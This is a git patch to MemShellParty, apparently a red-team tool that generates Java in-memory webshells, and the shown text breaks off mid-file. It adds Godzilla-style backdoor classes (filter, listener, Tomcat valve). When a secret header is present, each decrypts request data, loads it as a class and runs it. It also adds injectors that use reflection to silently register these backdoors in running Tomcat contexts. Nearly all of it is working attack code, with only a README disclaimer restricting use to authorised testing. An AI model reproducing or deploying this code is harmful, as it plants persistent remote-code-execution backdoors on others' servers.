From d37b0a192937f0dd24d25b07c4aebf03d9c90ef1 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 Nov 2024 13:31:38 +0800 Subject: [PATCH] feat: add tomcat listener and valve --- README.md | 3 + generator/build.gradle | 15 ++ .../javaweb/memsell/InjectorGenerator.java | 5 +- .../tomcat/godzilla/GodzillaFilter.java | 2 + .../godzilla/GodzillaJakartaFilter.java | 120 +++++++++ .../godzilla/GodzillaJakartaListener.java | 144 ++++++++++ .../tomcat/godzilla/GodzillaListener.java | 1 + .../tomcat/godzilla/GodzillaValve.java | 137 ++++++++++ .../injector/TomcatListenerInjector.java | 246 +++++++++++++++++ .../tomcat/injector/TomcatValveInjector.java | 255 ++++++++++++++++++ .../memsell/GodzillaGeneratorTest.java | 25 -- .../tomcat/godzilla/GodzillaFilterTest.java | 40 +++ .../godzilla/GodzillaJakartaFilterTest.java | 34 +++ .../godzilla/GodzillaJakartaListenerTest.java | 34 +++ .../tomcat/godzilla/GodzillaListenerTest.java | 34 +++ .../tomcat/godzilla/GodzillaValveTest.java | 33 +++ .../injector/TomcatFilterInjectorTest.java} | 30 ++- .../injector/TomcatListenerInjectorTest.java | 49 ++++ .../injector/TomcatValveInjectorTest.java | 34 +++ integration/tomcat/docker-compose.yaml | 8 +- vul-webapp/src/main/webapp/test.jsp | 39 ++- 21 files changed, 1238 insertions(+), 50 deletions(-) create mode 100755 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java rename generator/src/test/java/com/reajason/javaweb/memsell/{InjectorGeneratorTest.java => tomcat/injector/TomcatFilterInjectorTest.java} (50%) create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java diff --git a/README.md b/README.md index 7d29d7aa..b5497b20 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,8 @@ # MemShellParty +![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square) +![build](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/ci.yaml?branch=master&style=flat-square) + > [!WARNING] > 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。 diff --git a/generator/build.gradle b/generator/build.gradle index d2e9e39e..66e47c31 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -8,11 +8,26 @@ version = '1.0-SNAPSHOT' dependencies { implementation 'net.bytebuddy:byte-buddy:1.15.1' implementation 'javax.servlet:javax.servlet-api:3.0.1' + implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0' // implementation fileTree('libs') implementation 'commons-io:commons-io:2.18.0' implementation 'org.apache.commons:commons-lang3:3.17.0' implementation 'commons-codec:commons-codec:1.17.1' + + implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { + exclude group: 'org.apache.tomcat', module: 'tomcat-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-juli' + exclude group: 'org.apache.tomcat', module: 'tomcat-jni' + exclude group: 'org.apache.tomcat', module: 'tomcat-coyote' + exclude group: 'org.apache.tomcat', module: 'tomcat-util' + exclude group: 'org.apache.tomcat', module: 'tomcat-util-scan' + exclude group: 'org.apache.tomcat', module: 'tomcat-annotations-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-el-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-jsp-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api' + } } test { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java index 5430325c..d1aaad4f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java @@ -6,6 +6,9 @@ import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; import org.apache.commons.codec.binary.Base64; +import org.apache.commons.lang3.StringUtils; + +import java.util.Objects; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -21,7 +24,7 @@ public class InjectorGenerator { try (DynamicType.Unloaded make = new ByteBuddy() .redefine(injectClass) .name(injectClassName) - .method(named("getUrlPattern")).intercept(FixedValue.value(urlPattern)) + .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, ""))) .method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getClassName")).intercept(FixedValue.value(shellClassName)) .make()) { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java index f1d37de8..b7e79483 100755 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java @@ -26,6 +26,7 @@ public class GodzillaFilter extends ClassLoader implements Filter { super(z); } + @SuppressWarnings("all") public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } @@ -42,6 +43,7 @@ public class GodzillaFilter extends ClassLoader implements Filter { } @Override + @SuppressWarnings("all") public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java new file mode 100755 index 00000000..1ca2a2cb --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java @@ -0,0 +1,120 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import jakarta.servlet.*; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaJakartaFilter extends ClassLoader implements Filter { + public String key; + public String pass; + public String md5; + public String headerName; + public String headerValue; + + public GodzillaJakartaFilter() { + } + + public GodzillaJakartaFilter(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java new file mode 100644 index 00000000..9711b6e4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java @@ -0,0 +1,144 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import jakarta.servlet.ServletRequestEvent; +import jakarta.servlet.ServletRequestListener; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener { + public String md5; + public String pass; + public String key; + public String headerName; + public String headerValue; + + public GodzillaJakartaListener() { + } + + public GodzillaJakartaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java index 77aafc6d..7a58956e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java @@ -105,6 +105,7 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe } @Override + @SuppressWarnings("all") public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java new file mode 100644 index 00000000..ce1dc32c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java @@ -0,0 +1,137 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaValve extends ClassLoader implements Valve { + protected Valve next; + protected boolean asyncSupported; + public String key; + public String pass; + public String headerName; + public String headerValue; + public String md5; + + public GodzillaValve() { + } + + public GodzillaValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java new file mode 100644 index 00000000..dc259432 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java @@ -0,0 +1,246 @@ +package com.reajason.javaweb.memsell.tomcat.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * Tomcat Listener 注入器 + * Author: pen4uin + * 测试版本: + * jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + */ +public class TomcatListenerInjector { + + public String getClassName() { + return ""; + } + + public String getBase64String() { + return ""; + } + + static { + new TomcatListenerInjector(); + } + + public TomcatListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable ignored) { + } + } + return listener; + } + + @SuppressWarnings("all") + public void addListener(Object context, Object listener) throws Exception { + if (!isInjected(context, listener.getClass().getName())) { + if (getFV(context, "applicationEventListenersObjects") != null) { + Object[] appListeners = (Object[]) getFV(context, "applicationEventListenersObjects"); + if(appListeners != null && appListeners.length > 0) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray()); + } + } else if (getFV(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFV(context, "applicationEventListenersList"); + if(appListeners != null) { + appListeners.add(listener); + } + } + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + for (Object o : arrayList) { + if (o.getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + static Object getFV(Object obj, String fieldName) throws Exception { + try{ + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception e){ + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getF(obj.getClass(), fieldName); + field.set(obj, value); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java new file mode 100644 index 00000000..13f48c57 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java @@ -0,0 +1,255 @@ +package com.reajason.javaweb.memsell.tomcat.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Valve 注入器 + * Tested version: + * jdk v1.8.0_275 + * tomcat v8.5.83, v9.0.67 + */ +public class TomcatValveInjector { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() { + return ""; + } + + + static { + new TomcatValveInjector(); + } + + public TomcatValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getValve(context); + if (valve == null) { + continue; + } + injectValve(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + @SuppressWarnings("all") + private Object getValve(Object context) { + Object valve = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + valve = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + valve = clazz.newInstance(); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + return valve; + } + + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, 